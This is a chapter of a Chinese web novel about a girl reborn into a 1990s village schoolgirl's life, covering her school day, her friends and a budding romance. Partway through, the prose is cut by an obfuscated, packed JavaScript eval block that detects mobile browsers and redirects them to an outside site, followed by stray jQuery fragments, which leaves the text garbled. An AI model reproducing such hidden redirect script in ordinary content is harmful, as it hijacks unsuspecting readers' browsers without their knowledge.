第二天一早,以宁起来的时候,父母已经出门了。厨房灶台上温着早饭,散发着淡淡的葱花香气。
以宁来到孙以峰的房间,把他喊起来之后,就去刷牙洗脸了。从原身上小学开始,就是这样的生活模式了。不过在孙以峰上学之前,原身是把他喊起来,洗漱之后送到爷爷奶奶那里后,自己再去上学。
等以宁收拾好出来,以峰已经乖巧地盛好两碗炒饭。金黄的蛋花裹着粒粒分明的米饭,虽然只是隔夜饭做的,但被郑云霞炒得喷香。
两人吃过早饭,以宁就骑着自行车载着孙以峰出门。
自行车是郑云霞淘汰下来给原主的"坐骑",前两年小升初原身考上了县里的实验学校。实验学校距离家里有5公里,走路得一个多小时。
郑云霞一咬牙决定干脆买个三轮车以后卖菜,自行车就给闺女上学用,而且三轮车不管拉什么东西都很方便。
当初为了这辆车,原身没少听婶婶潘月琴的闲话——"丫头片子读什么实验中学""五公里路就当锻炼了"之类的酸言酸语。
车轮碾过乡间小路,晨风拂过以宁的刘海。后座上的以峰叽叽喳喳像只小麻雀,直到看见镇小学门口那条蜿蜒的小水沟,突然就安静了。
"衣服脏了你知道后果。"以宁单脚撑地,看着弟弟像颗小炮弹似的冲向早已等候在那的伙伴们。
现在才不到7点,实验学校初中是7点开始上课,但是镇小学是8点才开始上课的。
镇小学距离家里只有两公里,孙以峰本来可以晚一点再走着上学。不过镇小学边上的小水沟是顽童们的乐园,很多小孩上学前放学后都喜欢来这里玩,钓龙虾、摸螃蟹。
这个小水沟水很浅,不到大人膝盖深,所以大人们都很放心小孩在这边玩。就是经常把衣服弄得脏兮兮的,免不了回家一顿打。
孙以峰头也不回的喊了一句“知道了”就飞快的跑远了。
以宁也没有管他,正是是猫嫌狗憎的年纪。反正衣服脏了,郑云霞自有处罚之道。
又骑了十来分钟,以宁到了学校。她将车锁好,向教学楼走去,没一会就听到了郎朗的读书声,让人感受到了少年的朝气。
这本该是原主最美好的年华,却被一个畜生给毁了。
以宁走到教室门口,就看到已经教室里已经有一半左右的同学在早读。她凭着记忆走到原身的座位,将书本拿出来,也加入了早读的队列。
45分钟的早读结束后,铃声一响,就有一半的学生冲出教室。
剩下的同学里有的趴在桌上补觉,有的三三两两的聊天,有的仍然在认真学习。
这时,以宁的前桌赵铎突然回头,轻声问道:“我们来练练英语演讲的内容吧。”
以宁抬头看向对方,晨光在赵铎睫毛上投下细碎的金影。他就是前天放学时,那个被孙国超撞见的"跟屁虫"。
也是原身的白月光和朱砂痣。
前几天,原身被初潮染红的裤子,被班上几个平时调皮的男生看到了,他们顿时大声起哄嘲笑原身。
当时原身的好友蒋明明狠狠骂了那几个男生,但是那些男生并不怕她,依然怪声怪气的说着刺耳的“玩笑话”。
最后是赵铎出面制止了他们的行为,赵铎身为班长在班上还是很有威信的,那几个男生悻悻的闭了嘴。
那天等到放学,班上的同学都走的差不多了,蒋明明和原身还在想怎么能遮住裤子的印记。虽然是初秋,但是秋老虎还没过去,大家都穿的短袖,极少数人才带了校服外套,而原身和蒋明明都没带。
最后是那极少数人之一的赵铎将他的校服外套给了原身。
这之后的很多年,那个含笑递外套的少年,成了原主心底难得的彩色画卷。
从原主的记忆碎片中,以宁能感知到赵铎对原身的那份青涩情愫。
如果原身没有遭遇那段噩梦,说不定会经历一场青葱的恋爱。或许不会有圆满的结局,但那会是多年后想起来都能让她会心一笑的美好回忆,而不是持续多年的痛苦和绝望。
"以宁!陪我去买面包!"蒋明明风风火火地冲过来,不由分说拽起她的胳膊。以宁只得对赵铎歉然一笑,任由这个活力四射的姑娘把自己拖出教室。
“我跟你说,我妈早上煎的蛋太熟了,她还非说熟了更有营养!”说到这里蒋明明翻了个白眼,“我才吃了两口就噎到不行。”
不过蒋明明马上压低声音说起了另一个八卦,“哎,你知道吗?我昨天听说……”
听着蒋明明叽叽喳喳的八卦声,以宁时不时的附和几句。
蒋明明是原身遭遇噩梦之后的救赎,如果不是她,原身可能很早就会放弃自己的生命。在原身感到最绝望的日子里,在原身痛苦的情绪无法向家人宣泄的时候,是蒋明明始终陪在原身身边。
也是她,在多年后,握着原主颤抖的手,让原身鼓起勇气,拿起法律的武器讨回公道。
对于原身来说,蒋明明就像一个小太阳,一直照射着,温暖着她。
"老实交代!"蒋明明突然凑近,眼睛亮得吓人,"班长刚才跟你说什么悄悄话?"没等回答,她自己先激动起来,"他肯定对你有意思!上次那件校服......"
以宁轻声笑了笑,“他刚刚找我练习英语演讲比赛。”
蒋明明顿时露出失望的表情,“啊?就这?”
以宁推开了她作怪的脸,“我觉得,我们现在要好好学习,天天向上。”
上午最后一节课铃声响起后,同学们纷纷像冲出牢笼的鸟儿,一波波的涌出校门。
实验学校只有小学部和初中部,学校没有宿舍和食堂,学生们都是回家吃饭或者就在学校附近的小饭店觅食。
婉拒了蒋明明一起到她家吃饭的邀请后,以宁踩着自行车回了家。
她到家的时候,以峰正在院子里专注地抽打着陀螺,屋里已经传来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713812|167850||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了阵阵饭香。
“姐。”见以宁回来,以峰喊了一句就继续玩他的去了。
以宁走进堂屋,郑云霞正端着菜盘出来,见她进来就招呼她去清碗筷,接着朝外面喊,“小峰,别玩了,来吃饭!”
饭菜很简单,都是应季的蔬果,唯一的荤腥就是鸡蛋了。以峰埋头用力扒饭,突然抬起头说:“妈,我还想吃鱼。”
今年是香江回归的那一年,这个时候的鱼肉还不像以后那样端上桌都没几个人动筷子。至少在九十年代的农村,不是经常能吃到的好东西。
“等你爸这几天忙完,让他去河里摸。”郑云霞边吃边应和着,随后看到瘦成麻杆的女儿和儿子,想了想,说道:“周末我割点肉,烧红烧肉给你们吃。”
“真的?”以峰那双乌黑的眼睛迸发出光彩,声音都高了不少。
郑云霞没好气的说:“我骗你干什么。”不过随后她在心里叹了一口气。才建了房子没几年,家里两个孩子,到处都要用钱,想给孩子吃点好的都要想了又想。而且女儿马上就要上高中了,成绩又好,肯定要上大学的,那学费不得现在就要存起来。
有时候她也羡慕隔壁两个侄子被养的白白胖胖的,可是想到小叔和妯娌那有多少用多少,完全不考虑以后的样子,又平复了心情。
吃过午饭,郑云霞又下地干活了。姐弟两睡了一觉之后,以宁又载着以峰去上学。
下午放学后,蒋明明拉着以宁在学校门口觅食。她们还不能回家,因为现在的初中是有晚自习的。而下午放学的休息时间只有40分钟,除非是家住学校边上的,不然只能在学校这边吃。
学校门口已经被各色的摊贩推车摆满了,不仅食物种类丰富,价格也非常感人,一块五的盒饭有荤有素。
以宁这才回忆起昨天那5块钱是原身两天的晚饭钱,还好昨天以峰没有把钱都花完,不然她今天就要饿肚子了。
吃完饭回到教室,以宁拿出一张草稿纸开始涂涂画画。
“这看着像医院的处方单?”这是头顶突然传来了赵铎的声音。
以宁抬头,冲着他笑了笑,“你怎么看出来的?”说着很自然的翻转了草稿纸。
"我妈妈是医生。"赵铎不好意思地解释,又好奇地问:"你想学医?"
不过以宁否定了他的猜测,“不,我以后想当律师。”
赵铎有些许诧异,很快衷心说道:“那你以后一定会成为很厉害的律师。”
“当然。”以宁坦然的点头肯定。
赵铎怔了怔,似乎没想到以宁能这么自信的进行自我肯定。不过他很快咧开嘴笑了,“我以后要成为一个厉害的医生。”
阳光穿过窗棂,在少年飞扬的发梢镀上金边。
以宁被他的笑容晃了晃眼,真是令人心动的少年意气啊。
不远处的蒋明明死死捂住嘴巴,眼睛瞪得溜圆——这两个人绝对有问题!她激动得差点把铅笔咬断。